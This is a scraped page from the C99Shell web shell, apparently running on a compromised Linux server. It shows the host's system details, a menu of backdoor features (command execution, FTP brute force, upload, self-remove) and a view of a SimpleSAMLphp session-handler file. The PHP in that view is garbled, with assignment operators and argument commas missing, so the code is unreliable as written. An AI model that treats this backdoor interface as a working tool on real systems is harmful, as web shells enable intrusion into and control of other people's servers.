!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/php/3ros/simplesamlphp/lib/SimpleSAML/   drwxr-xr-x
Free 13.31 GB of 61.93 GB (21.49%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     SessionHandlerStore.php (1.93 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Session storage in the datastore.
 *
 * @package simpleSAMLphp
 * @version $Id$
 */
class SimpleSAML_SessionHandlerStore extends SimpleSAML_SessionHandlerCookie {

    
/**
     * The datastore we save the session to.
     */
    
private $store;

    
/**
     * Initialize the session handlerstore.
     */
    
protected function __construct(SimpleSAML_Store $store) {
        
parent::__construct();

        
$this->store $store;
    }


    
/**
     * Load the session from the datastore.
     *
     * @param string|NULL $sessionId  The ID of the session we should load, or NULL to use the default.
     * @return SimpleSAML_Session|NULL  The session object, or NULL if it doesn't exist.
     */
    
public function loadSession($sessionId NULL) {
        
assert('is_string($sessionId) || is_null($sessionId)');

        if (
$sessionId === NULL) {
            
$sessionId $this->getCookieSessionId();
        }

        
$session $this->store->get('session'$sessionId);
        if (
$session !== NULL) {
            
assert('$session instanceof SimpleSAML_Session');
            return 
$session;
        }

        if (!(
$this->store instanceof SimpleSAML_Store_Memcache)) {
            return 
NULL;
        }

        
/* For backwards compatibility, check the MemcacheStore object. */
        
$store SimpleSAML_MemcacheStore::find($sessionId);
        if (
$store === NULL) {
            return 
NULL;
        }

        
$session $store->get('SimpleSAMLphp_SESSION');
        if (
$session === NULL) {
            return 
NULL;
        }

        
assert('is_string($session)');

        
$session unserialize($session);
        
assert('$session instanceof SimpleSAML_Session');

        return 
$session;
    }


    
/**
     * Save the current session to the datastore.
     *
     * @param SimpleSAML_Session $session  The session object we should save.
     */
    
public function saveSession(SimpleSAML_Session $session) {

        
$sessionId $session->getSessionId();

        
$config SimpleSAML_Configuration::getInstance();
        
$sessionDuration $config->getInteger('session.duration'8*60*60);
        
$expire time() + $sessionDuration;

        
$this->store->set('session'$sessionId$session$expire);
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.5442 ]--